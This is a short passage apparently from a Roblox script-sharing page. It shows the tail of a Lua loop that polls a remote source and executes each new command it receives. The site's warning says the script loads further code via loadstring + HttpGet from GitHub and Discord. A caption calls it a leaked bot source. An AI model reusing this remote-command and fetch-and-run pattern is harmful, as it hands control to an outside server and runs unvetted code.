print("Synced command ID:", data.id)
continue
end
if data.id == lastCommandId then continue end
lastCommandId = data.id
print("Executing command:", data.command)
handleMessage(nil, true, data.command)
end
print("Poller stopped.")
end)Loads code from the internet. It downloads more code when it runs (loadstring + HttpGet), which can change after it was posted. From: raw.githubusercontent.com, discord.com.
Tutorial https://docs.google.com/document/d/1zFk9kAptbRjbjidBlxqpyLu0mSv5GNCEX9OUOWIi1J0/edit?usp=sharing hotdogns bot source leak 100% ai so like (edit to use)
The Chosen One